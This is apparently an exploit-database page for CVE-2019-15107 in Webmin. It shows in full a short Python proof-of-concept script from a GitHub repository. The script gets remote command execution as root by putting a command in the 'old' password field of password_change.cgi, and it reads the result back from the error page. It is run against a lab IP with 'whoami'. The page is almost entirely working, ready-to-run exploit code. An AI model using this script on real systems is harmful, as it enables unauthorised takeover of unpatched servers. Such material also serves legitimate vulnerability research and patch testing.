Exploit database

GH-1e6fccd50ad8b69002f81080da1e243c

hachp1/webmin_docker_and_exp

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2019-15107

37 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files5
hachp1/webmin_docker_and_expRevision 2294729f0c48

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

webmin1.920_rce_exp.py

Python · 1,208 bytes
# Author: https://github.com/HACHp1

import requests
import re

def execute_command(ip,cmd='id'):

    header={
        'Host': ip+':10000', 
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0', 
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2', 
        'Accept-Encoding': 'gzip, deflate', 
        'Content-Type': 'application/x-www-form-urlencoded', 
        'Content-Length': '52', 
        'Connection': 'close', 
        'Referer': 'https://192.168.153.128:10000/session_login.cgi', 
        'Cookie': 'redirect=1; testing=1; sid=x',
        'Upgrade-Insecure-Requests': '1'
        }

    data={
        'user': 'root', 'pam': '1', 'expired': '2', 'old': cmd, 'new1': 'pass', 'new2': 'pass'
        }

    url='https://' + ip + ':10000/password_change.cgi'

    res=requests.post(url,data=data,headers=header,verify=False)

    pat='Failed to change password : The current password is incorrect([^<]*)'
    return re.findall(pat,res.text)[0]

print(execute_command('192.168.153.128','whoami'))